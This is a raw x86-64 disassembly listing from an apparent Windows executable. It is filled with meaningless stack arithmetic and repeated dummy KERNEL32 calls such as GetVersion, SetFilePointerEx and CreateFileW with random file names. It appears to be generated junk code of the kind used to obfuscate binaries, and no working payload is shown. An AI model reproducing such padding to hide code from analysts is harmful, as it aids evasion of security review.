mov rcx, qword [rsp + 0x13b68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15328]
mov eax, dword [rax]
mov dword [rsp + 0xb11c], eax
mov r9d, 0x1394
xor r8d, r8d
lea rdx, [rsp + 0x15578]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xace4], eax
mov rax, qword [rsp + 0x158a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x87e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13588]
mov dword [rcx], eax
mov eax, dword [rsp + 0xab44]
mov dword [rsp + 0xb120], eax
movzx eax, word [rsp + 0x25a4]
movzx ecx, word [rsp + 0x2da4]
or eax, ecx
mov rcx, qword [rsp + 0x14a78]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6d9]
mov rcx, qword [0x140363e70]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x59f], al
lea rax, [rsp + 0x2a8c]
mov qword [rsp + 0x160d8], rax
movsx eax, byte [rsp + 0x6f2]
mov rcx, qword [rsp + 0x14af0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x143e8]
mov byte [rcx], al
mov eax, dword [rsp + 0x7ea0]
movzx ecx, al
mov eax, dword [rsp + 0xaf0c]
shr eax, cl
mov rcx, qword [0x140364060]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf24], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb124], eax
mov rax, qword [rsp + 0x13d10]
mov ecx, dword [rsp + 0x6fe8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x973c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad48], eax
movzx eax, word [rsp + 0x2bdc]
movzx ecx, word [0x14035cbfc]
and eax, ecx
mov rcx, qword [rsp + 0x132f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6e0]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov rcx, qword [rsp + 0x15190]
mov byte [rcx], al
mov eax, dword [rsp + 0xaa04]
mov dword [rsp + 0xb128], eax
xor r9d, r9d
lea r8, [rsp + 0x14a18]
mov rdx, qword [rsp + 0x138f8]
mov rcx, qword [rsp + 0x15628]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xad80], eax
mov rax, qword [rsp + 0x13d20]
mov rcx, qword [rsp + 0x14cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x155c8]
mov rcx, qword [rsp + 0x14d30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b28], eax
mov rax, qword [rsp + 0x15c28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa1e8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x138f0]
mov dword [rcx], eax
mov rax, qword [0x140364018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x154f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x144f8]
mov word [rcx], ax
lea rax, [rsp + 0x11c]
mov qword [0x1403640a0], rax
lea rax, [rsp + 0xa87c]
mov qword [rsp + 0x160e0], rax
mov rax, qword [0x140363cb0]
mov rcx, qword [rsp + 0x14888]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14660]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa974]
mov dword [rsp + 0xb12c], eax
mov rax, qword [rsp + 0x15b10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9784]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa60c], eax
mov rax, qword [0x140364050]
mov eax, dword [rax]
mov dword [rsp + 0xb130], eax
movsx eax, byte [rsp + 0x2f8]
mov rcx, qword [rsp + 0x14f00]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14e18]
mov byte [rcx], al
mov rax, qword [rsp + 0x13378]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14390]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x149c0]
mov word [rcx], ax
lea rcx, str.GJk_9yZx0_MO9jle
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2da8], ax
mov rcx, qword [rsp + 0x154c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [0x14035e544]
mov qword [rsp + 0x160e8], rax
movzx eax, word [rsp + 0x2b34]
movzx ecx, word [rsp + 0x2bb4]
add eax, ecx
mov rcx, qword [0x140363fb8]
mov word [rcx], ax
mov eax, dword [rsp + 0x8664]
mov rcx, qword [rsp + 0x16080]
mov qword [rsp + 0x160f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x160f0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x131b0]
mov dword [rcx], eax
lea rax, [0x140363ba4]
mov qword [rsp + 0x160f8], rax
movzx eax, word [rsp + 0x1328]
movzx ecx, word [rsp + 0x2a44]
sar eax, cl
mov rcx, qword [rsp + 0x14450]
mov word [rcx], ax
mov rax, qword [rsp + 0x13fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d4]
xor eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x15fa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7dac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x999c], eax
mov rax, qword [rsp + 0x13938]
mov rcx, qword [rsp + 0x157e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6b80], eax
mov eax, dword [rsp + 0xa8dc]
mov dword [rsp + 0xb134], eax
mov rax, qword [rsp + 0x15138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7ea4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15408]
mov dword [rcx], eax
lea rax, [rsp + 0x118]
mov qword [0x1403640a8], rax
movzx eax, word [rsp + 0x2d24]
mov rcx, qword [0x140363b30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cb4], ax
lea rax, [rsp + 0xada8]
mov qword [rsp + 0x16100], rax
mov rax, qword [rsp + 0x136f0]
mov ecx, dword [rsp + 0xa9e4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13658]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2c50]
movsx ecx, word [rsp + 0x2a1c]
add eax, ecx
mov word [rsp + 0x1094], ax
mov rax, qword [rsp + 0x14f90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9f]
and eax, ecx
mov rcx, qword [rsp + 0x13918]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xacfc], eax
lea rax, [rsp + 0x6d7]
mov qword [rsp + 0x16108], rax
xor r9d, r9d
lea r8, [rsp + 0x144e0]
mov rdx, qword [rsp + 0x16110]
mov rcx, qword [rsp + 0x14c90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa8a8], eax
movzx eax, word [0x140362f84]
mov rcx, qword [rsp + 0x14308]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x13898]
mov rcx, qword [rsp + 0x13ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13978]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x8aa
mov r8d, 0xab2
mov edx, 0xce
mov rcx, qword [rsp + 0x13780]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xabd4], eax
mov rax, qword [rsp + 0x15448]
mov ecx, dword [0x140363ea0]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14035cc88], eax
lea rax, [rsp + 0xa804]
mov qword [rsp + 0x16118], rax
mov eax, dword [rsp + 0xa8cc]
mov rcx, qword [rsp + 0x15200]
mov qword [rsp + 0x16120], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16120]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x133d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa8bc]
mov dword [rsp + 0xb138], eax
movzx eax, byte [0x14035e4a4]
mov rcx, qword [rsp + 0x15bd8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x700], al
mov rax, qword [rsp + 0x14d08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132f0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x15a58]
mov word [rcx], ax
mov eax, dword [rsp + 0xad5c]
mov dword [rsp + 0xb13c], eax
mov eax, dword [rsp + 0x6288]
mov ecx, dword [rsp + 0xad3c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15c60]
mov dword [rcx], eax
lea rax, [rsp + 0x75a0]
mov qword [rsp + 0x16128], rax
mov rax, qword [rsp + 0x15f50]
mov rcx, qword [0x1403639a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x1403639d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b7]
sub eax, ecx
mov byte [rsp + 0x592], al
movzx eax, word [rsp + 0x11b0]
mov rcx, qword [rsp + 0x14770]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15800]
mov word [rcx], ax
lea rdx, [rsp + 0x45bd0]
mov rcx, qword [rsp + 0x15280]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb140], eax
mov rax, qword [rsp + 0x15ad0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c70]
and eax, ecx
mov word [rsp + 0x23b0], ax
mov rax, qword [rsp + 0x14688]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14340]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6bb], al
lea rax, [rsp + 0x6994]
mov qword [rsp + 0x16130], rax
mov r9d, 1
lea r8, [rsp + 0x16110]
mov rdx, qword [rsp + 0x15728]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xac28], eax
mov rax, qword [0x1403639d0]
mov ecx, dword [rsp + 0x8a30]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa9b8], eax
mov rax, qword [rsp + 0x135d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1038]
add eax, ecx
mov rcx, qword [rsp + 0x13778]
mov word [rcx], ax
mov rax, qword [rsp + 0x153a0]
movzx eax, byte [rax]
mov byte [rsp + 0x743], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb144], eax
mov eax, dword [rsp + 0x924c]
mov ecx, dword [0x14035cc1c]
add ecx, eax
mov eax, ecx
mov dword [0x14035cc9c], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ba8], eax
mov rax, qword [rsp + 0x15d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d48], eax
mov eax, dword [rsp + 0xacb8]
movzx ecx, al
mov eax, dword [rsp + 0xafd8]
shr eax, cl
mov rcx, qword [rsp + 0x14c20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14750]
movzx eax, word [rax]
mov word [rsp + 0x2dac], ax
mov r9d, 0xfb0
xor r8d, r8d
lea rdx, [rsp + 0x16030]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xaf10], eax
movzx eax, byte [0x14035e502]
movzx ecx, byte [rsp + 0x6dd]
shl eax, cl
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0x15ef8]
mov rcx, qword [rsp + 0x15230]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xab5c], eax
lea rax, [rsp + 0x8168]
mov qword [rsp + 0x16138], rax
mov eax, dword [rsp + 0x9e54]
mov ecx, dword [0x140363f68]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa44], eax
lea rax, [rsp + 0x7b30]
mov qword [0x1403640b0], rax
mov eax, dword [rsp + 0xa9b0]
mov dword [rsp + 0xb148], eax
movsx eax, word [rsp + 0x1cc4]
mov rcx, qword [rsp + 0x13950]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c70], ax
movsx eax, byte [rsp + 0x5e1]
movsx ecx, byte [rsp + 0x137]
add eax, ecx
mov byte [rsp + 0x712], al
lea rdx, [rsp + 0x16140]
mov rcx, qword [rsp + 0x151c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xae00], eax
lea rdx, [rsp + 0x45b28]
mov rcx, qword [rsp + 0x15ff8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb074], eax
mov rax, qword [rsp + 0x15f90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x160a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1dc0], ax
movzx eax, byte [rsp + 0x6b5]
mov rcx, qword [rsp + 0x13a30]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15190]
mov byte [rcx], al
mov rax, qword [rsp + 0x13620]
mov eax, dword [rax]
mov dword [rsp + 0xb14c], eax
mov rax, qword [rsp + 0x13d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c98]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b6c]
movzx ecx, word [rsp + 0x2c64]
sub eax, ecx
mov word [rsp + 0x2d90], ax
movzx eax, byte [rsp + 0xb4]
mov rcx, qword [rsp + 0x13440]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140353576], al
mov eax, dword [rsp + 0xb014]
mov ecx, dword [0x140363fd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8dbc], eax
mov rax, qword [rsp + 0x13578]
mov rcx, qword [rsp + 0x13818]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8134], eax
lea rax, [rsp + 0x7c34]
mov qword [rsp + 0x16148], rax
lea rdx, [rsp + 0x13958]
mov rcx, qword [rsp + 0x141d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb150], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad48], eax
mov eax, dword [rsp + 0xaa90]
mov ecx, dword [rsp + 0xabd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6768], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15ba8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1a2c], ax
mov rax, qword [rsp + 0x15190]
movzx eax, byte [rax]
mov byte [rsp + 0x744], al
mov rax, qword [rsp + 0x16098]
mov eax, dword [rax]
mov rcx, qword [0x140363998]
mov qword [rsp + 0x16150], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16150]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9374], eax
mov eax, dword [rsp + 0xaae4]
mov rcx, qword [rsp + 0x15778]
mov qword [rsp + 0x16158], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16158]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9a60], eax
mov rax, qword [0x140363f88]
movzx eax, byte [rax]
mov byte [0x14035e55d], al
movsx eax, word [rsp + 0x197c]
movsx ecx, word [rsp + 0x2b18]
or eax, ecx
mov rcx, qword [rsp + 0x131b8]
mov word [rcx], ax
lea rdx, [rsp + 0x45e00]
mov rcx, qword [rsp + 0x14178]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb154], eax
lea rax, [rsp + 0x200c]
mov qword [rsp + 0x16160], rax
movzx eax, byte [rsp + 0x737]
movzx ecx, byte [rsp + 0x6e7]
and eax, ecx
mov byte [rsp + 0x6b5], al
lea rcx, [rsp + 0x41a48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x15720]
mov ecx, dword [rsp + 0xafa0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8c4], eax
mov rax, qword [rsp + 0x13a50]
mov eax, dword [rax]
mov dword [rsp + 0xb158], eax
mov rax, qword [rsp + 0x15490]
mov ecx, dword [0x140363960]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8e8], eax
lea rax, [rsp + 0xb110]
mov qword [rsp + 0x16168], rax
mov rax, qword [rsp + 0x13660]
mov rcx, qword [rsp + 0x14ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xabb8], eax
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
movzx ecx, word [0x140362d5c]
sub eax, ecx
mov word [rsp + 0x298c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaec0], eax
mov r9d, 0x24b7
xor r8d, r8d
lea rdx, [rsp + 0x13200]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xb15c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac30], eax
movzx eax, byte [rsp + 0x6d4]
movzx ecx, byte [rsp + 0x732]
sub eax, ecx
mov byte [0x14035359e], al
lea rax, [rsp + 0xac80]
mov qword [rsp + 0x16170], rax
mov rax, qword [rsp + 0x137d0]
mov ecx, dword [rsp + 0xae40]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x153f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xac84]
mov dword [rsp + 0xb160], eax
mov eax, dword [rsp + 0xacb4]
mov ecx, dword [rsp + 0xac3c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15c90]
mov dword [rcx], eax
mov rax, qword [0x140363988]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13758]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1308], ax
lea rax, [rsp + 0x42a]
mov qword [rsp + 0x16178], rax
movsx eax, byte [rsp + 0x209]
movsx ecx, byte [rsp + 0x40c]
shl eax, cl
mov rcx, qword [rsp + 0x14030]
mov byte [rcx], al
movsx eax, word [0x140362bf4]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x15a8], ax
mov eax, dword [rsp + 0xabfc]
mov rcx, qword [rsp + 0x15d90]
mov qword [rsp + 0x16180], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16180]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14035cca0], eax
mov rax, qword [0x140363998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacf8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa928], eax
movzx eax, word [rsp + 0x2d5c]
mov word [rsp + 0x2db0], ax
mov rax, qword [rsp + 0x13650]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15400]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x592], al
mov rax, qword [rsp + 0x15218]
mov ecx, dword [rsp + 0xa9f8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15030]
mov dword [rcx], eax
lea rax, [rsp + 0x6618]
mov qword [rsp + 0x16188], rax
mov rax, qword [rsp + 0x16000]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad20]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d58]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaf64]
mov ecx, dword [0x14035cc88]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9510], eax
mov rax, qword [rsp + 0x134d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14870]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e64], ax
lea rdx, [rsp + 0x45b60]
mov rcx, qword [rsp + 0x15060]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xabe8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.D72QjoEROadWR9wuqkfmh_aqrnr5v9_rzm7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16190], rax
lea rcx, [rsp + 0x41bc8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x709]
mov rcx, qword [0x140364078]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140363fc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x14068]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaac8], eax
lea rax, [rsp + 0xa3f4]
mov qword [rsp + 0x16198], rax
mov rax, qword [rsp + 0x15da0]
mov rcx, qword [0x140363b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x158e0]
mov dword [rcx], eax
xor r9d, r9d
lea r8, [rsp + 0x14220]
mov rdx, qword [rsp + 0x14a18]
mov rcx, qword [rsp + 0x15888]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xafd0], eax
mov eax, dword [rsp + 0x7c00]
mov dword [rsp + 0xb164], eax
mov eax, dword [rsp + 0x7a74]
mov ecx, dword [rsp + 0xa644]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3a8], eax
mov rax, qword [rsp + 0x14490]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32c]
or eax, ecx
mov byte [rsp + 0x702], al
lea rax, [rsp + 0x2cfc]
mov qword [rsp + 0x161a0], rax
mov rax, qword [rsp + 0x156b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15068]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x711], al
movzx eax, word [rsp + 0x144c]
mov word [0x140363114], ax
lea rax, [rsp + 0x62c0]
mov qword [rsp + 0x161a8], rax
mov rax, qword [rsp + 0x15a28]
mov rcx, qword [rsp + 0x15af8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7afc], eax
mov rax, qword [rsp + 0x13a18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15a88]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x741], al
lea rax, [rsp + 0x15c0]
mov qword [rsp + 0x161b0], rax
mov eax, dword [rsp + 0xaf68]
mov ecx, dword [rsp + 0x6d90]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15e80]
mov dword [rcx], eax
lea rax, [rsp + 0xb038]
mov qword [rsp + 0x161b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.d3xCmaYULOVNoyOr9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x161c0], rax
mov rax, qword [0x140363e80]
mov rcx, qword [rsp + 0x15960]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb128], eax
lea rax, [rsp + 0x9e84]
mov qword [rsp + 0x161c8], rax
movzx eax, word [rsp + 0x2dac]
movzx ecx, word [rsp + 0x1e30]
add eax, ecx
mov word [0x14035cc28], ax
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15ea8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x143f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6288]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f30]
mov dword [rcx], eax
lea rax, [0x14035cc70]
mov qword [rsp + 0x161d0], rax
movsx eax, word [rsp + 0x11cc]
mov rcx, qword [rsp + 0x14ca8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x146b0]
mov word [rcx], ax
lea rax, [rsp + 0x43e]
mov qword [rsp + 0x161d8], rax
movzx eax, byte [rsp + 0x6f7]
mov rcx, qword [rsp + 0x13568]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x328], al
mov rax, qword [rsp + 0x13d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf0]
sub eax, ecx
mov rcx, qword [rsp + 0x14580]
mov word [rcx], ax
mov eax, dword [rsp + 0xaf0c]
mov dword [rsp + 0xb168], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8e0], eax
mov eax, dword [rsp + 0xafdc]
mov ecx, dword [rsp + 0x87e8]
sub ecx, eax
mov eax, ecx
mov dword [0x140363f04], eax
mov rax, qword [rsp + 0x137f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x96e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa60c], eax
mov rax, qword [rsp + 0x14cf8]
mov ecx, dword [rsp + 0xaac0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6c34], eax
mov eax, dword [rsp + 0xafc8]
mov ecx, dword [rsp + 0xa96c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xae04], eax
movzx eax, word [rsp + 0x200c]
movzx ecx, word [rsp + 0x29cc]
shl eax, cl
mov rcx, qword [rsp + 0x15a08]
mov word [rcx], ax
mov dword [rsp + 0x20], 0xdad
mov r9d, 0x2a25
mov r8d, 0x3d8a
mov edx, 0x3189
mov rcx, qword [rsp + 0x15750]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xab88], eax
movzx eax, byte [rsp + 0x562]
mov byte [rsp + 0x745], al
mov eax, dword [rsp + 0xab54]
mov rcx, qword [rsp + 0x154d8]
mov qword [rsp + 0x161e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x161e0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13628]
mov dword [rcx], eax
lea rax, [rsp + 0xa26c]
mov qword [rsp + 0x161e8], rax
mov eax, dword [0x140363be0]
mov ecx, dword [rsp + 0x87e8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov eax, dword [rsp + 0xada4]
mov dword [0x1403640b8], eax
lea rax, [rsp + 0x6ed]
mov qword [rsp + 0x161f0], rax
movzx eax, word [rsp + 0x2ce0]
movzx ecx, word [rsp + 0x2aa8]
or eax, ecx
mov word [rsp + 0x2cc4], ax
movsx eax, word [0x140362bf4]
mov rcx, qword [rsp + 0x15748]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14d38]
mov word [rcx], ax
mov rax, qword [rsp + 0x13560]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6d5]
and eax, ecx
mov byte [rsp + 0x53a], al
mov rax, qword [rsp + 0x135c0]
mov rcx, qword [0x140363d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x16170]
mov dword [rcx], eax
mov eax, dword [rsp + 0xabcc]
mov dword [rsp + 0xb16c], eax
movzx eax, word [rsp + 0x1e30]
movzx ecx, word [rsp + 0x1a6c]
or eax, ecx
mov word [rsp + 0x22c8], ax
mov rax, qword [rsp + 0x13650]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d3]
sub eax, ecx
mov byte [rsp + 0x740], al
mov eax, dword [rsp + 0xa954]
mov ecx, dword [rsp + 0x9ffc]
and ecx, eax
mov eax, ecx
mov dword [0x14035cca4], eax
mov eax, dword [rsp + 0x72e4]
mov dword [rsp + 0xb170], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.KXi3ugZRd0Dh
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x161f8], rax
mov r9d, 2
lea r8, [rsp + 0x14638]
mov rdx, qword [rsp + 0x14a08]
mov rcx, qword [rsp + 0x13f58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa7b8], eax
mov rax, qword [rsp + 0x135b0]
mov ecx, dword [rsp + 0x6af8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ca0], eax
mov eax, dword [rsp + 0xa8b0]
mov ecx, dword [rsp + 0xace8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9138], eax
movzx eax, word [rsp + 0x184c]
movzx ecx, word [0x140363114]
add eax, ecx
mov word [rsp + 0x29a8], ax
movzx eax, byte [rsp + 0x6e3]
movzx ecx, byte [rsp + 0x6e4]
shl eax, cl
mov rcx, qword [rsp + 0x15bf8]
mov byte [rcx], al
lea rax, [rsp + 0xa8dc]
mov qword [rsp + 0x16200], rax
